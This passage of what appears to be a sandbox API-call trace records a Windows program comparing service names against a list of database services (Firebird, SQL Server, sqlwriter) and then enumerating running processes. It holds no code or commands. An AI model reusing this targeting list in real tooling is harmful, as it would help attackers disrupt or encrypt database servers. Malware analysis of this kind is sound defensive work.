(lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0215.318] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0215.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0215.318] lstrlenW (lpString="KeyIso") returned 6 [0215.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0215.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0215.318] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0215.318] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0215.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0215.318] lstrlenW (lpString="LanmanServer") returned 12 [0215.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0215.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0215.318] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0215.318] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0215.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0215.318] lstrlenW (lpString="LanmanWorkstation") returned 17 [0215.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0215.318] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0215.318] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0215.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0215.318] lstrlenW (lpString="lfsvc") returned 5 [0215.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0215.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0215.318] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0215.318] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0215.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0215.318] lstrlenW (lpString="LicenseManager") returned 14 [0215.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0215.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0215.318] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0215.318] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0215.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0215.318] lstrlenW (lpString="lmhosts") returned 7 [0215.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0215.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0215.319] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0215.319] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0215.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0215.319] lstrlenW (lpString="LSM") returned 3 [0215.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0215.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0215.319] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0215.319] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0215.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0215.319] lstrlenW (lpString="MpsSvc") returned 6 [0215.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0215.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0215.319] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0215.319] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0215.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0215.319] lstrlenW (lpString="NcbService") returned 10 [0215.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0215.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0215.319] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0215.319] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0215.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0215.319] lstrlenW (lpString="netprofm") returned 8 [0215.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0215.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0215.319] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0215.319] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0215.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0215.319] lstrlenW (lpString="NlaSvc") returned 6 [0215.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0215.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0215.319] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0215.319] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0215.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0215.319] lstrlenW (lpString="nsi") returned 3 [0215.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0215.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0215.319] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0215.320] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0215.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0215.320] lstrlenW (lpString="PcaSvc") returned 6 [0215.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0215.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0215.320] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0215.320] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0215.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0215.320] lstrlenW (lpString="PlugPlay") returned 8 [0215.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0215.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0215.320] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0215.320] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0215.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0215.320] lstrlenW (lpString="Power") returned 5 [0215.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0215.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0215.320] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0215.320] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0215.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0215.320] lstrlenW (lpString="ProfSvc") returned 7 [0215.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0215.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0215.320] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0215.320] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0215.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0215.320] lstrlenW (lpString="RpcEptMapper") returned 12 [0215.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0215.320] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0215.320] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0215.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0215.320] lstrlenW (lpString="RpcSs") returned 5 [0215.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0215.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0215.320] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0215.320] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0215.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0215.321] lstrlenW (lpString="SamSs") returned 5 [0215.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0215.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0215.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0215.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0215.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0215.321] lstrlenW (lpString="Schedule") returned 8 [0215.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0215.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0215.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0215.321] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0215.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0215.321] lstrlenW (lpString="SecurityHealthService") returned 21 [0215.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0215.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0215.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0215.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0215.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0215.321] lstrlenW (lpString="SENS") returned 4 [0215.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0215.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0215.321] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0215.321] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0215.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0215.321] lstrlenW (lpString="ShellHWDetection") returned 16 [0215.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0215.321] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0215.321] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0215.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0215.321] lstrlenW (lpString="Spooler") returned 7 [0215.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0215.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0215.321] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0215.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0215.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0215.322] lstrlenW (lpString="SSDPSRV") returned 7 [0215.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0215.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0215.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0215.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0215.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0215.322] lstrlenW (lpString="StateRepository") returned 15 [0215.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0215.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0215.322] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0215.322] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0215.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0215.322] lstrlenW (lpString="SysMain") returned 7 [0215.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0215.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0215.322] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0215.322] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0215.322] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0215.322] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0215.327] Process32FirstW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.328] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0215.328] lstrlenW (lpString="System") returned 6 [0215.328] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0215.329] lstrlenW (lpString="smss.exe") returned 8 [0215.329] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.330] lstrlenW (lpString="csrss.exe") returned 9 [0215.330] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0215.331] lstrlenW (lpString="wininit.exe") returned 11 [0215.331] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0215.332] lstrlenW (lpString="csrss.exe") returned 9 [0215.332] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0215.333] lstrlenW (lpString="winlogon.exe") returned 12 [0215.333] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0215.333] lstrlenW (lpString="services.exe") returned 12 [0215.334] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0215.334] lstrlenW (lpString="lsass.exe") returned 9 [0215.335] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.335] lstrlenW (lpString="svchost.exe") returned 11 [0215.335] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0215.336] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0215.336] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0215.337] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0215.337] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.338] lstrlenW (lpString="svchost.exe") returned 11 [0215.338] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0215.339] lstrlenW (lpString="dwm.exe") returned 7 [0215.339] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.340] lstrlenW (lpString="svchost.exe") returned 11 [0215.340] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.341] lstrlenW (lpString="svchost.exe") returned 11 [0215.341] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.342] lstrlenW (lpString="svchost.exe") returned 11 [0215.342] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.343] lstrlenW (lpString="svchost.exe") returned 11 [0215.343] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.344] lstrlenW (lpString="svchost.exe") returned 11 [0215.344] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.345] lstrlenW (lpString="svchost.exe") returned 11 [0215.345] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.346] lstrlenW (lpString="svchost.exe") returned 11 [0215.346] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.347] lstrlenW (lpString="svchost.exe") returned 11 [0215.347] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.348] lstrlenW (lpString="svchost.exe") returned 11 [0215.348] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0215.349] lstrlenW (lpString="spoolsv.exe") returned 11 [0215.349] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.350] lstrlenW (lpString="svchost.exe") returned 11 [0215.350] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.351] lstrlenW (lpString="svchost.exe") returned 11 [0215.351] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0215.352] lstrlenW (lpString="audiodg.exe") returned 11 [0215.352] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0215.352] lstrlenW (lpString="sihost.exe") returned 10 [0215.352] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.353] lstrlenW (lpString="svchost.exe") returned 11 [0215.353] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0215.354] lstrlenW (lpString="taskhostw.exe") returned 13 [0215.354] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0215.355] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0215.355] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0215.356] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0215.356] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0215.357] lstrlenW (lpString="explorer.exe") returned 12 [0215.357] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0215.358] lstrlenW (lpString="Memory Compression") returned 18 [0215.358] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0215.359] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0215.359] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0215.360] lstrlenW (lpString="SearchUI.exe") returned 12 [0215.360] Process32NextW (in: hSnapshot=0x338, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, 